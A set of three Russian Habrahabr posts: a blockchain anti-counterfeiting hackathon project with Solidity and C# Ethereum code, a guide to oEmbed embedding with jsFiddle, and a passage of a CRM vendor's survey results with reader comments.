Продолжаем серию статей о первых в России проектах, разработанных на основе технологии блокчейн. Напоминаем, что мы спросили у команд-участниц хакатона InspiRussia о технологической составляющей их решений. В этой материале речь пойдет о проекте Buydentity, который помогает бороться с проблемой контрафактных товаров. Цикл статей «Погружение в технологию блокчейн» 1. Серия материалов, посвященных технологии Emer: 1.1. Секреты EmerCoin . 1.2. Децентрализованная нецензурированная система доменных имён . 1.3. Инфраструктура публичных ключей всемирного масштаба . 1.4. Децентрализованная беспарольная система безопасности . 2. Быстрые и безопасные транзакции . 3. Экосистема цифровой стоматологии . 4. Борьба с контрафактными товарами . 5. Loading… Buydentity: Борьба с контрафактом Разработчики проекта Buydentity — это друзья-энтузиасты, которые решили попробовать себя в разработке с помощью блокчейна. Участники поставили перед собой задачу разработки полезного проекта, поэтому в результате была выбрана тема по проблеме борьбы с контрафактными товарами. Прежде, чем начать разработку, участниками была проанализирована проблематика оборота контрафактной продукции в мире. Они выяснили, что: У государств нет системного подхода в области регулирования контрафакта. Большинству людей достаточно сложно отличить подделку от настоящего товара. Тем более качество подделок с каждым годом становится все выше. Все чаще стали подделывать востребованные и недорогие товары, а не товары премиум-класса. Между покупателем и производителем очень длинная цепочка из различных контрагентов и посредников. Невозможно понять каким образом тот или иной товар попал на полки конкретного магазина. К тому же, в целом, в мире наблюдается значительный рост рынка контрафакта. Так по данным доклада Организации экономического сотрудничества и развития (ОЭСР): Годовой оборот контрафактной продукции в мире в 2015 году достиг $461 млрд; На долю контрафактной продукции в мире приходится примерно 2,5% мирового импорта; На рынке стран Европейского союза подделки занимают около 5% от общего объема торговли; Наиболее часто подделывают продукцию из США (20%), Италии (15%), Франции и Швейцарии (по 12%), Японии и Германии (по 8%). Так и появился проект Buydentity (buy (покупка) и identity (подлинность)). Прототип платформы позволяет отслеживать весь жизненный цикл товара на базе технологии блокчейн, что позволяет исключить создание подделки и проверить подлинность товара в любой момент времени. В данный момент существуют и внедрены различные решения для борьбы с контрафактом: 2D barcode, штрих код, голограмма, различные защитные покрытия, секретные чернила, микропечать и защитные микроэлементы, радиочастотные идентификаторы, защитные самоклеящиеся этикетки. Но, все перечисленные выше способы не дают стопроцентной уверенности в том, что перед вами настоящий товар, либо имеют высокую стоимость, либо могут быть подтверждены только самими производителями. Проект Buydentity позволит повысить надежность с помощью обновления информации о товаре на каждом этапе его жизненного цикла от производителя к покупателю понять его характеристики, статус, задействованных контрагентов и исключить продажу подделки или повторную продажу уже реализованного товара. Buydentity: Реализация идеи Для реализации этой идеи каждый товар должен обладать уникальным кодом отслеживания, который позволит в любой момент времени однозначно идентифицировать его. Например, в самом простом случае это может быть QR-код (также могут применяться NFC-метки), который наклеен на товар. Код связан с идентификационными данными о товаре (цвет, вес, номер изделия, номер партии, фото, дата и место производства, производитель и прочее), которые записаны в приватный блокчейн Ethereum (платформа для создания децентрализованных онлайн-сервисов на базе блокчейна). Такая запись данных о продукции не позволяет изменить его характеристики в любой момент времени и вы сможете проследить весь путь движение товара. Описанным выше способом можно пометить все товары и решить проблему их однозначной идентификации. Однако, указанная реализация не решает проблему создания контрафакта. Кто-нибудь может купить один настоящий продукт, копировать и тиражировать QR-код на аналогичные поддельные товары. Выход в данной ситуации следующий: в блокчейн необходимо разместить статус товара и его владельца, который будет меняться в зависимости от стадии его жизненного цикла. Для реализации описанной выше логики в проекте была развернута сеть Ethereum на основе Azure Blockchain as a Service. Они позволили гибко настраивать правила передачи собственности от одного участника к другому. Для реализации описанной выше логики в проекте была развернута сеть Ethereum на основе Azure Blockchain as a Service, что позволило гибко настраивать правила передачи собственности от одного участника к другому. Общая схема функционирования приведена ниже. В рамках системы Buydentity командой были разработаны: Личный кабинет контрагента. Кабинет позволяет создавать товары и их отдельные единицы, отслеживать статус и перемещение товара, создавать уникальные QR-коды, передавать товар другому контрагенту. Мобильное приложение iOS для проверки подлинности товара. Покупатель сканирует QR-код и видит детальную информацию о товаре на экране своего мобильного телефона. Ниже показан примерный вид карточки товара в мобильном приложении. Учитывая знания и опыт работы, был выбраны следующий набор технологий для реализации системы: Framework: Angular 2, .Net Framework; Платформа: ASP.NET Core, Microsoft Azure (Ethereum Blockchain as a Service); Языки программирования: C#, TypeScript, JavaScript; База данных: PostgreSQL; Мобильное приложение: Objective-C. Ключевые проблемы и их решение Для работы с сетью Ethereum команда воспользовалась клиентом Geth, который позволяет подключаться и осуществлять транзакции по протоколу http. Для тестирования и отладки был развернут приватный блокчейн, однако, при попытке доступа к интерфейсу управления с помощью .NET-библиотеки Nethereum , постоянно возникала ошибка подключения к клиенту. Проблема оказалась в устаревшей версии клиента Geth. Кстати, обновления можно найти в репозитории на GitHub . Следующая проблема, которая оказалась относительно простой, возникла с подключением клиента Geth к удаленному клиенту в виртуальной машине Microsoft Azure. Как оказалось, она скрывалась не только в клиенте, но и в настройке фаервола виртуальной машины. С этой проблемой можно разобраться с помощью материала по настройке конечных точек виртуальных машин . Для доступа к клиенту Geth извне достаточно указать флаг --wsaddr “0.0.0.0” (по умолчанию localhost). Смарт-контракты Ethereum были выбраны не случайно — синтаксис языка Solidity несложный, очень похож на JavaScript и можно сказать, что подобен языку C. Поэтому первая версия контракта была быстро реализована и проверена с помощью веб-IDE . Далее для каждого товара мы создаем смарт-контракт, в котором хранится информация о товаре, а также цепочка всех звеньев цепи от производителя до конечного продавца. Осуществить передачу собственности на товар может только предыдущий владелец, указанный в контракте. При получении товара, новый владелец подтверждает свое право собственности через тот же самый контракт. Таким образом, блокчейн Ethereum позволяет отойти от задач криптографии и защиты важной информации и сразу приступить к реализации бизнес задач. Наличие «умных» контрактов значительно облегчает реализацию идеи передачи собственности единицы товара от участника к участнику. Вот как может выглядеть смарт-контракта передачи товара на языке Solidity: pragma solidity ^0.4.0: contract ProductItem { address[] _owners; address _currentOwner; address _nextOwner; string _productDigest; function ProductItem(string productDigest) { _currentOwner = msg.sender; _productDigest = productDigest; _owners.push(msg.sender); } function setNextOwner(address nextOwner) returns(bool set) { if (_currentOwner != msg.sender) { return false; } _nextOwner = nextOwner; return true; } function confirmOwnership() returns(bool confirmed) { if (_nextOwner != msg.sender) { return false; } _owners.push(_nextOwner); _currentOwner = _nextOwner; _nextOwner = address(0); return true; } } Здесь: _owners — массив всех владельцев единицы товара; _currentOwner — текущий владелец товара; _nextOwner — следующий владелец товара; _productDigest — хеш, вычисленный на основе некоторых полей товара. При проверке позволит проверить неизменность описания товара; msg.sender — встроенная переменная окружения, в которой содержится инициатор транзакции. При создании единицы товара информация заносится в блокчейн в виде контракта, приведенного выше. Смарт-контракт невозможно обмануть, поэтому передать единицу товара в собственность сможет только тот, кто указан в переменной _currentOwner контракта. Далее, при передаче собственности, вызывается функция setNextOwner(address next) , устанавливая следующего возможного владельца. Когда следующий владелец принимает товар в собственность, вызывается метод confirmOwnership() . Как было сказано выше контракт невозможно обмануть не имея доступ к кошелькам (то есть фактически к приватным ключам) участников системы. Для того, чтобы минимизировать компрометацию пользовательских кошельков они размещены на приватном сервере внутри облака Azure. Для вычисления блоков в Ethereum развернуты несколько серверов, используя отдельный шаблон (можно найти здесь ). Клиенты go-ethereum , автоматически установленные при разворачивании шаблона, связаны между собой в сеть (как это сделать описано здесь ). В общем виде, архитектура приложения выглядит следующим образом: Запросы, предполагающие работу с Ethereum, перенаправляются в очередь. Затем эти сообщения обрабатываются отдельными сервисами. Реализация выглядит именно так, потому что фиксация транзакций, изменяющих состояние контракта, довольно затратная по времени операция и пользователю не обязательно дожидаться завершения этих операций. Работа с Ethereum Поскольку языком разработки backend в проекте является C#, то для взаимодействия с Ethereum была выбрана библиотека Nethereum. Ниже приведен пример публикации контракта в блокчейн: public async Task<Contract> DeployContractAsync(EthereumAccount account, ContractMetadata metadata, HexBigInteger gas = null, params object[] ctorArgs) { gas = gas ?? new HexBigInteger(10*1000*1000); var tx = await _web3.Eth.DeployContract.SendRequestAsync(metadata.Abi, metadata.ByteCode, account.Address, gas, ctorArgs).ConfigureAwait(false); var receipt = await MineAndGetReceiptAsync(tx).ConfigureAwait(false); var code = await _web3.Eth.GetCode.SendRequestAsync(receipt.ContractAddress).ConfigureAwait(false); if (string.IsNullOrEmpty(code) || code.Length < 3) { throw new InvalidOperationException("Can't deploy contract. Check if gas is sufficient"); } return _web3.Eth.GetContract(metadata.Abi, receipt.ContractAddress); } public async Task<TransactionReceipt> MineAndGetReceiptAsync(string txHash) { TransactionReceipt receipt = await _web3.Eth.Transactions.GetTransactionReceipt.SendRequestAsync(txHash).ConfigureAwait(false); while (receipt == null) { receipt = await _web3.Eth.Transactions.GetTransactionReceipt.SendRequestAsync(txHash).ConfigureAwait(false); await Task.Delay(1000).ConfigureAwait(false); } return receipt; } Здесь не стоит обращать внимания на типы данных, наподобие EthereumAccount и ContractMetadata , так как основная идея должна быть понятна. Стоит обратить внимание на строчку: var code = await _web3.Eth.GetCode.SendRequestAsync(receipt.ContractAddress) При публикации контракта иногда может возникнуть исключение о недостаточном gas . Чтобы убедиться в успешной публикации контракта мы проверяем результат вышеприведенного кода: if (string.IsNullOrEmpty(code) || code.Length < 3) { throw new InvalidOperationException("Can't deploy contract. Check if gas is sufficient"); } Ethereum blockchain очень удобен наличием «умных» контрактов, однако для приватных блокчейнов было бы актуально минимизировать время формирования блоков в базе данных, поэтому в данный момент команда ищет пути для решения данной проблемы. Планы на будущее Команда Buydentity после проведения хакатона активно начала развивать свой проект и представлять его на различных форумах и публичных мероприятиях. Подробную информацию о проекте можно найти на сайте . На ближайшее будущее команда определила следующие основные задачи: Интеграция Buydentity с Offchain системами производителей и ритейлеров, что позволит быстро встраивать наше решение в уже существующие бизнес-процессы; Расширение способов маркировки товара: RFID-метки, NFC-чипы, лазерная маркировка и так далее; Разработка конструктора создания товаров для внесения максимально широкого перечня данных о продукции; Соответствие существующим международным стандартам маркировки продукции; Отслеживание подозрительных сканирований товара и отправка жалоб на контрафактный товар. Сейчас команда проекта ищет производителей продукции для пилотного внедрения. По вопросам работы системы можно написать на mail@buydentity.ru.
https://habrahabr.ru/company/microsoft/blog/312054/
habrahabr
Используем oEmbed, чтобы добавить телефон в хабрапост
['oembed', 'voximplant']
Неделю назад произошло очередное улучшение Хабра, и кроме всего прочего, была добавлена возможность вставлять контент с помощью механизма oEmbed. Я хочу немного рассказать, что это за зверь, и...
Неделю назад произошло очередное улучшение Хабра, и кроме всего прочего, была добавлена возможность вставлять контент с помощью механизма oEmbed. Я хочу немного рассказать, что это за зверь, и продемонстрировать, как он работает с чем-нибудь популярным, вроде jsFiddle , чтобы добавить в хабрапост необычное. Например — телефон. Что такое oEmbed? Это соглашение , благодаря которому можно вставить кусок одной страницы на другую. В мире веба для такой задачи предназначена технология iframe , но в ее использовании есть нюанс: она встраивает содержимое сайта целиком . А сайты, на секундочку, рассчитаны на то, чтобы занимать большую часть экрана вашего компьютера или телефона, а не встраиваться. Разработчики это понимают, и довольно давно у нас есть несколько соглашений по встраиванию. Три самых популярных: Open Graph Protocol , Twitter Cards и oEmbed . Кроме них есть еще сотни менее популярных, но в основном используется именно эта тройка. Работают они по-разному. Чтобы соответствовать «Open Graph Protocol», веб-странице нужно разместить в своем HTML-коде несколько meta -тегов вроде og:title , которые опишут минимальное представление страницы для встраивания. Обычно это заголовок, картинка и несколько строк краткого описания. Сайт, куда происходит встраивание (к примеру, пост фейсбука), создаст соответствующие HTML-элементы сам. От «донора» требуется только информация по содержимому. oEmbed работает по-другому. Чтобы соответствовать oEmbed, сайт должен «предоставить» некий URL, по которому делается запрос о встраивании. Обратите внимание, что «предоставить» у меня в кавычках. На практике «предоставить» значит иметь под рукой большой whitelist доменов и соответствующих им URL для запросов. «Более 1800» в анонсе хабра и есть размер такого белого списка. В соглашении есть альтернативный вариант «oEmbed Discovery», когда в HTML-теге на веб-странице прописывается URL для запроса информации. Но Хабр, судя по всему, этот механизм не поддерживает. Наверное, чтобы всякие особо хитрые товарищи не вставляли таким образом трекающие пиксели и прочее забавное с собственных сайтов. В ответ на запрос о встраивании oEmbed, сайт должен вернуть JSON с необходимой информацией. Например, информацию о картинке и тексте. Но чаще всего возвращают URL, который можно вставлять через iframe. Что выгодно отличает oEmbed от «Open Graph Protocol» и позволяет встроить всё что угодно, начиная от плеера YouTube и заканчивая JSFiddle. Вот JSFiddle я и продемонстрирую: теперь можно вставлять прямо в статьи разнообразные HTML/CSS/JS демки и показывать интересные технологии. В «external resources» слева можно добавить необходимые JavaScript библиотеки. Например, дебагер, чтобы видеть результаты, console.log или наш SDK , чтобы звонить с веб страницы: Чтобы позвонить и услышать «Привет, Хабр!», нужно переключиться на вкладку «Result». Не очень user friendly. Но. Многие популярные сайты, поддерживающие встраивание, поддерживают еще и настройку этого встраивания! Гугление показывать, что для JSFiddle есть подробный раздел документации . Следовательно, если мы хотим сразу вкладку «Result», то нам нужно добавить к URL соответствующие настройки: jsfiddle.net/grigoryvp/rxnj9hcn /embedded/result/ Увы, такого Хабр пока не поддерживает. И пока не совсем ясно — это сто стороны jsfiddle неправильно формируется iframe, или же Хабр неправильно запрашивает URL. Если кто владеет такой магией — пишите в комментариях, будет очень полезно!
https://habrahabr.ru/company/Voximplant/blog/317858/
habrahabr
Как мы на Хабре опрос про CRM проводили: результаты
['crm', 'crm-системы', 'статистика', 'опрос', 'regionsoft']
Мы разрабатываем CRM-ки более десяти лет и пишем о них около пяти. В своих статьях мы не только делимся опытом, но и опираемся на статистику и исследования. Всё это время нам остро не хватало...
Мы разрабатываем CRM-ки более десяти лет и пишем о них около пяти. В своих статьях мы не только делимся опытом, но и опираемся на статистику и исследования. Всё это время нам остро не хватало статистики по российскому рынку. По зарубежным — сколько угодно: начиная от именитых агентств и заканчивая корпоративными данными. То, что находили по нашим, было либо старым, либо заказным. А такому материалу доверия нет. Поэтому мы взяли и провели свой первый опрос — чтобы набить шишки, понять, как проводить такие исследования и накопить статистику по CRM-системам. Почти три месяца мы собирали ответы и вот теперь готовы поделиться итогами, выводами и даже своими ошибками. Это был полезный опыт, который дал неплохую аналитику — делимся с вами. Источник: stats.stackexchange.com Опрос мы проводили с помощью Typeform. Удобный сервис, но чисто на английском языке (хотя кого это сейчас пугает!). Все ссылки на опрос размещались только в постах на Хабре, иные источники в эксперимент не вошли. Очевидно, что в посты на Хабр попадают и через поисковые системы, но всё же особенности площадки отчасти сказались на результатах. В дальнейшем исследовании мы охватим минимум три площадки разного профиля плюс свой корпоративный сайт. В опрос перешло 423 человека, 324 — с ПК, 11 — с планшета, 84 — со смартфона, 4 — из неопределённых источников. Из тех, кто перешёл на страницу опроса, на вопросы ответили 156 человек, то есть 37%. Среднее время, которые пользователи тратили на опрос — 3,5 минуты. Первый ответ на вопросы мы получили 20 сентября, последний — 11 декабря 2016 года. Опрос пока оставляем открытым, чтобы все могли перейти в него и посмотреть структуру — так сказать, в учебных целях для этого поста. Выводы, которые мы сделали и шишки, которые мы набили Наверное, нет ничего удивительного в том, что в команде вендора CRM-системы не нашлось ни одного социолога — даже маркетолог у нас технарь. Но идея опроса давно созрела в наших головах и её нужно было воплотить, чтобы и у нас, и у вас была хотя бы минимальная отраслевая статистика по состоянию на конец 2016 года и по России. Сказано — сделано. Баги и косяки мы стали осознавать позже. Итак, о чём думала компания-разработчик RegionSoft CRM . Мы опасались за число респондентов. Когда просматриваешь зарубежные опросы и панели по CRM/ERP можно встретить количество респондентов в среднем от 50 до 300. Это нормальная репрезентативная выборка для пользователей корпоративного программного обеспечения. В самых смелых мечтах мы думали о 100 ответивших, получили 156 — и это очень хорошо. Мы долго думали над структурой опроса и в итоге вышло горе от ума. Прежде всего, мы сочли неэтичным выспрашивать возраст компании и количество сотрудников, хотя что же в этом криминального? Точно также мы побоялись разрастания опроса и выкинули вопрос о сфере деятельности фирмы — сейчас мы сильно сожалеем об этом, потому что именно принадлежность к отрасли пролила бы свет на большое количество самописных систем в результатах. В вопросах с множественным выбором у нас пересеклись некоторые варианты. Это никак не сказалось на качестве полученных данных, но прибавило трудностей при обработке результатов. Если бы всё было спроектировано верно, нам бы не пришлось качать файл Excel, вручную нормализовать данные и проводить их анализ, чтобы удостовериться в том, что графики в панели опроса построены верно. У нас были схожие или очень близкие по значению варианты ответов , разница в которых понятна нам как составителям опроса, но могла быть непонятна пользователям. Например, вот здесь: Три выделенных ответа достаточно плотно коррелируют. Но всё же мы получили релевантные, похожие на правду, данные. Мы пошли на эксперимент внутри эксперимента-опроса и решили протестировать, как люди идут на контакт. Три последних вопроса были нацелены на общение с клиентом. Мы спрашивали, хочет ли он получить от нас дополнительную информацию Мы предлагали высказаться в свободной форме на 999 знаков — полная свобода самовыражения. И мы получили по полной: кто-то хвалил, кто-то ругался, кто-то честно написал, что нужно заполнить все 999 символов и заполнил их. Набор ответов в форме отлично поднимает настроение и помогает сделать некоторые выводы об отношении к CRM-системам в целом. А заодно мы написали в спойлере свои комментарии ко всем ответам — уверены, диалог полезный, почитайте. А кто спрашивал, но не оставил контактов — получите ответ. Все вопросы и ответы — под спойлером. ➨ Есть ли примеры crm в качестве системы взаимодействия с пользователями холдинга (структуры предприятий)? В целом интересуют и методические выкладки по данному вопросу. Sd на мой взгляд, всего лишь фиксация, но если рассматривать пользователя как клиента — интересные возможности для менеджмента открываются. Спасибо! RegionSoft: у нас есть целый механизм работы с холдингами. Расписывать его здесь не получится — это тема для отдельного поста. Который, возможно, когда-то и напишем. ➨ Предоставляем услуги, каждый раз стоимость разная, никогда не повторяется. Ответственный за внедрение человек не понимает каким образом настроить систему кроме карточек контрагентов и контактов. RegionSoft: не совсем понятно, что вам нужно от CRM-системы и от какой именно — нашей или чьей-то, нам нужно понимать структуру ПО, о котором идёт речь. Напишите или позвоните нам, если нужна помощь. ➨ Мы находимся на стадии внедрения, поэтому я не могу ответить «изменилась ли ситуация после внедрения», но мы надеемся! :) И спасибо за интересную и поучительную статью! :) RegionSoft: успехов вам в проекте! ➨ Автоматизация рулит! инж.АСУП RegionSoft: Однозначно! Автоматизировать всё, всегда и везде! ➨ В опросе не учтены CRM системы с событийной аналитикой (Carrot Quest, Intercom), помогающие сопровождать клиента на протяжении его обслуживания. А поругаться хочется на то, что разных систем много, но идеальной ни одной :) Все они с разным функционалом и неохотно скрещиваются друг с другом. RegionSoft: На самом деле, CRM ещё больше, но не со всеми можно в реальности встретиться. А что, кто-то из вендоров создал систему, которая не позволяет сопровождать клиента на протяжении его обслуживания? Насчёт идеальной CRM — вопрос адаптации и выстраивания бизнес-процессов всегда в руках компани. ➨ Создание сделок должно быть в 1 окне (с учетом неограниченного числа контактов), все коммуникации с клиентом в другом (не вкладками!!!) RegionSoft: Дело вкуса, встречаются разные реализации. Наши клиенты обычно отмечают, что вкладки очень удобны с точки зрения использования — всё под рукой. ➨ Непонятно, как донести мысль о необходимости CRM до руководства, далекого от IT-технологий. RegionSoft: У любого руководства всегда одна цель — получение прибыли. На него не действуют юзабилити, эргономика и лояльность. Попробуйте (возможно, совместно с вендором) доказать рост производительности и влияние его на будущий доход. Объясните, что CRM — это не про IT, это про операционное обеспечение продаж — фактически автоматический продажник. ➨ Так вышло, что я внедрял несколько CRM. Успех внедрения зависит от куче фактор, но основной — готовность компании к внедрению, наличию «спонсора», который не только оплати внедрение, но и проследит, чтобы все пользовались. RegionSoft: Таким спонсором должно быть мотивированное на интенсивное развитие руководство. если боссов «и так всё устраивает», их сложно пробить. CRM — это самая настоящая инвестиция в развитие бизнеса, и компания должна осознавать необходимость инвестиции. ➨ Привычка, инерционность — вот что мешает внедрению и использованию. а еще отсутствие понятия у ТОП что такое СРМ. RegionSoft: Абсолютно точно — переход на автоматизированную систему всегда кажется сложным. На самом деле всё гораздо проще — мы писали и о проблемах внедрения, и о простом пути развертывания CRM-системы в компании. ➨ у нашей нет маршрутных листов для доставки RegionSoft: А у нашей есть — это как раз один из случаев, когда спецпроект, сделанный на заказ, удачно вошёл в релиз. ➨ Регионсофт, пишите больше и чаще! Мы читаем вас всем отделом. Спасибо вам за ясные и очень профессиональные тексты. сразу видно, что пишет не пиарщик, а настоящие инженеры, как и мы! Так держать) RegionSoft: Спасибо за отзыв! В новом году будут интересные темы, у нас уже есть план. ➨ Нужная мне киллер-фича https://toster.ru/q/255564 RegionSoft: Мы пока не сильно дружим с мобильниками, немного другой профиль у системы. Но можем сделать заказную доработку. Цена и сроки — только после составления ТЗ. ➨ Любой продукт требует допиливания. Из «коробки» не работает никакая система RegionSoft: Не всегда, всё очень сильно зависит от требований и специфики бизнеса. Но доработки встречаются часто, да. ➨ От вашей CRM отталкивает загруженность интерфейса и отсутствие хороших видео мануалов. RegionSoft: Наш интерфейс не загруженный, а функциональный и рабочий. Если что-то кажется лишним, это можно отключить в настройках. Видео-мануалы будут, пока мы предлагаем отличную и подробную документацию. ➨ Нужна своя CRM. RegionSoft: Удачи — это непростой, длительный и затратный процесс, но он принесёт свои плоды. ➨ Надо научить пользователей и пояснить им что это действительно важно — это самая большая проблема! RegionSoft: Да, нередко в компаниях возникает саботаж CRM-системы, бойкотирование и прочие деструктивные действия — это психологическое сопротивление новому. Ну либо в коллективе есть, что скрывать. О преодолении болезней внедрения мы писали здесь. ➨ CRM система для управленцев чтобы они могли автоматизировать себя. RegionSoft: Нет. CRM, прежде всего, для сотрудников, которые хотят работать быстро и производительно, поддерживая дела в порядке. Управленцы обычно используют отчёты, отслеживают динамику и KPI. ➨ 1С — «удивительная» вещь. RegionSoft: Ох, и не говорите! ➨ Чудесно RegionSoft: Сразу новогоднее настроение появилось. ➨ У меня кассовый разрыв, я не могу найти адекватных спецов по elastix, вызывают в финпол, проиграл в конкурсе, болит зуб, я бытовой алкоголик, регулярно падает сервер видеонаблюдения у заказчика, но могу продавать вашу CRM в Казахстане, напишите, пожалуйста мне на почту цены для дилера. RegionSoft: У вас отличная самопрезентация! Всем, кто хочет нас продавать в любом регионе, можно написать на dealer@regionsoft.ru ➨ Скорее хочу ценную CRM RegionSoft: www.regionsoft.ru ➨ No comments RegionSoft: No comments ➨ Много всего и не хорошего. RegionSoft: Зря, что не сказали более распространённо — нам интересно мнение каждого адекватного собеседника. ➨ Очень нужная система в бизнесе для экономии времени и построения управленческих решений. RegionSoft: www.regionsoft.ru — хвалят чаще, чем жалуются. Да и на своём отделе продаж и техподдержке мы видим эффективность RegionSoft CRM. ➨ Спасибо за ссылку на typeform :-) RegionSoft: А что бы хорошее приложение и не попиарить! ➨ Базовые решения CRM сделать бесплатными. RegionSoft: Мы это уже слышали: «… фабрики рабочим, земля крестьянам…» Закончилось не очень. А если серьёзно, то существуют дорогие бесплатные опенсорсные CRM. ➨ Я все люблю делать сам :-) RegionSoft: Когда-то примерно из этого же принципа начала своё существование наша RegionSoft CRM. Но опыт показывает, что иногда лучше воспользоваться готовым решением — разделение труда реально классная штука с точки зрения и персональной, и мировой экономики. ➨ CRM — актуальный инструмент для современного бизнеса. Если желаешь, чтобы твой бизнес был современным и актуальным, без внедрения CRM — невозможно этого представить. RegionSoft: Согласны на 100%. ➨ Опрос так себе, мы используем несколько CRM для каждого отдела. RegionSoft: Ну что опрос так себе — мы об этом вон аж пост накатали. Следующий будет круче, мы над ним уже работаем. Использовать несколько CRM для каждого отдела — идея тоже так себе. ➨ В России нет нормальной CRM. RegionSoft: А вы всех посмотрели? ➨ увы:( поругаться не хочу RegionSoft: Ну и правильно. ➨ Спасибо за статьи на Хабре RegionSoft: Рады писать полезные вещи! Мы за толковый и нужный контент. ➨ Компания понимает, что поэтапное внедрение коробочной CRM с доработками было ошибкой. Нужно было бросить ресурсы на доработку самописной. А так за 3 года только тянутся ресурсы. По сути вендор обманул о необходимости только мышкой процессы рисовать. <вендор указан, но не раскрываем по этическим соображениям относительно конкурентов> RegionSoft: Поняли вашу проблему вкупе с остальными ответами, сочувствуем вам. Да, ситуация непростая и неприятная, профессиональные нотации процессов — это правда не для мышки. Мы в своё время от них принципиально отказались в пользу нативного графического интерфейса. Пообщайтесь с вендором — возможно, удастся найти компромисс. ➨ Дратути RegionSoft: Мы не хотим следить за мемами, но они так и лезут в нашу жизнь! ➨ Ху*та <цензурим, а то нас тут забанят> RegionSoft: А на Хабре бы вас забанили. ➨ парам пам пам RegionSoft: захотелось пересмотреть пару выпусков «Ералаша». ➨ Здравствуйте. В природе не должно быть пустоты. Потому оставляю Вам на память все девятьсот девяносто девять знаков: <далее остальные знаки> RegionSoft: мы тоже за гармонию в природе. Сохранили на память! Как и все остальные примечания. Предлагали оставить адрес своей электронной почты для того, чтобы договориться о презентации. Или написать о себе в свободной форме. Вот в последних двух пунктах мы всё сделали неправильно. Во-первых, нужно было просить телефон, поскольку это оперативнее, пользователь ожидает меньше спама, сразу конструктивный диалог без траты времени обеих сторон. Если человек мотивирован к презентации и интересуется CRM, ему явно проще пообщаться голосом. Хотя некоторые настаивали именно на письмах и прямо указывали это. Кто-то отказывался, но писал, что боится спама. Здесь мы можем заверить — компания Регионсофт никогда не спамит, мы крайне умеренны в информировании своих потенциальных и действующих клиентов. Иногда нам даже говорят, что это неправильно и нужно напоминать о себе почаще, но у нас свой взгляд на отношения с клиентами. Хотя свои данные оставили 19% опрошенных, со всеми мы связались. Не все ответили, но всё же контакты случились. О конверсии, конечно, говорить рано. Не можем дать окончательную рекомендацию собирать или не собирать лиды в опросах, но, возможно, попробуем другую форму. Несмотря на перечисленные проблемы, опрос показал релевантные результаты, которые оказались и интересными, и полезными, и неожиданными. А главное, у нас есть база, на основе которой мы сможем построить более глубокое и профессиональное исследование. Гипотезы и результаты опроса о CRM-системах Итак, о логике и архитектуре опросов мы ничего не знали, но прекрасно знали о правилах проведения эксперимента. Прежде всего, должны быть гипотезы — предположения, которые ответы респондентов должны были подтвердить или опровергнуть. Мы их строили по опыту работы со своей RegionSoft CRM и на основе длительного наблюдения за рынком. Отечественные CRM имею бОльшую популярность, чем импортные. Нам это кажется логичным, поскольку накладные расходы на внедрение российских CRM-систем ниже, причём это касается и цены, и адаптации, и обучения и особенно — технической поддержки и доработки. Пользователи не очень сильно нуждаются в интеграциях с чатами и социальными сетями. Многие CRM реализуют эти фичи и пишут красивые пресс-релизы. Но сдаётся нам, что тут дело не в запросах, а в желании быть в тренде и относительно простых API некоторых социальных сетей. CRM автоматизирует в большей степени коммерческую службу, чем всю компанию. Собственно, делает то, для чего она изначально предназначена. CRM есть менее, чем у 40% опрошенных. На самом деле, доля компаний, живущих без CRM, довольно велика, но вряд ли на Хабре получится релевантный ответ ввиду глубокой технической ориентации проекта. Внедрение даёт положительный результат. Наш опыт подтверждает это, надеемся, подтверждает и опрос. Настало время раскрыть карты и узнать, какие из гипотез оказались верными. CRM-система внедрена у половины опрошенных. Во многом такая высокая доля обусловлена спецификой площадки — среди читателей Хабра много сотрудников компаний с высоким уровнем автоматизации. Ещё одна гипотетическая причина — неизвестно, что скрывается за самописными CRM. Это будет новым этапом нашего исследования. Какая CRM внедрена или планируется к внедрению в компании — первая из частей опроса, которая вызвала сотню вопросов на будущее. Вот так распределились ответы: 32% — самописные системы, это беспрецедентно высокая цифра. С одной стороны, опять же, такое значение может быть обусловлено спецификой Хабрахабра. С другой, важно понять, что имеется ввиду под самописными CRM: интеграционные проекты за 3-5 млн. рублей, Google for Business, опенсорсные форки, простые самописные хранилища контактов, листы Excel с макросами. Все эти варианты нельзя исключать, и в дальнейшем нужно более тщательно изучить. Кстати, весь декабрь мы даём скидки на RegionSoft CRM и весь софт собственной разработки. Сегодня — 10% скидки и крутые условия рассрочки и аренды. Завтра будет -9% и так по нисходящей. У нас не бывает -70% и -90%, потому что мы держим экономически обоснованную цену на лицензии, а не берём её с потолка. Подробности на сайте . Оставим на будущее загадочные самописные системы в таком количестве, обратимся к вариантам поставки: 39% респондентов выбрали серверные системы, 25% — облачные. Честно говоря, у нас даже гипотезы не было, что сервер обойдёт облако аж на 14%, но сейчас, исходя из анализа самих систем и других деталей, становится понятно, что к этому есть предпосылки. Среди которых первое место безраздельно принадлежит безопасности, а второе — стоимости владения. Ну и да, гипотеза подтвердилась — российских систем 45%, а с самописными — все 77%. Это нас радует прежде всего потому, что пользователи осознают, насколько выгоднее отечественные решения как с точки зрения базового набора функций, так и с точки зрения обучения и общения с вендорами. Как называется ваша нынешняя/будущая CRM? Вроде вопрос простой, но есть явные сюрпризы во второй части таблицы — комментировать по этическим причинам не будем, судите сами. Показатель RegionSoft CRM — 4%, 5 пользователей. Из тех, кто попал в другое, стоит упомянуть опенсорсный форк vTiger, который попал в опрос 4 раза, по одному разу Siebel и Microsoft Dynamics CRM, 1C: УПП, дважды Google, по одному разу IQ300, Retail CRM, OneBox, Pipedrive. Кстати, ошибок при причислении систем к облаку или серверу всего три. Какие подразделения используют/будут использовать CRM в вашей компании? В ответе на этот вопрос (множественный ответ) ожидаемо лидируют продажи и топ-менеджмент. Действительно, CRM-системы изначально создавались как инструмент управления продажами, а потом уже обросли сопутствующим набором функций, и грань между ними, системами управления проектами, а иногда и ERP, размылась. Удивил 21% пользователей из ИТ-службы — впрочем, мы как никто знаем, что CRM при желании легко работает и как инструмент технической поддержки, и как багтрекер и система управления инцидентами. Что вы чаще всего используете/собираетесь использовать в CRM? Абсолютно предсказуемый топ ответов: контакты, клиенты, задачи, проекты, планировщики, бизнес-процессы, документы. Предсказуемые 7% для социальных сетей и совершенно внезапные 26% для телефонии и 15% для диаграммы Ганта. И если диаграмму Ганта в том виде, в каком её предлагают модные простые системы управления проектами, с успехом заменяют планировщики и групповые планировщики, а до промышленного Ганта мы не дошли, то такой низкий процент телефонии — внезапный итог. Интеграция виртуальной АТС, сращивание CRM и телефонии — огромный ресурс для развития коммерческой службы. Например, у нас он настолько востребован, что нам даже пришлось сделать свой RegionSoft VoIP Connector. Вопрос: как вы считаете, насколько полноценно используется CRM? Результат — ничего неожиданного. Но мы ведь помним, что у нас в опросе есть 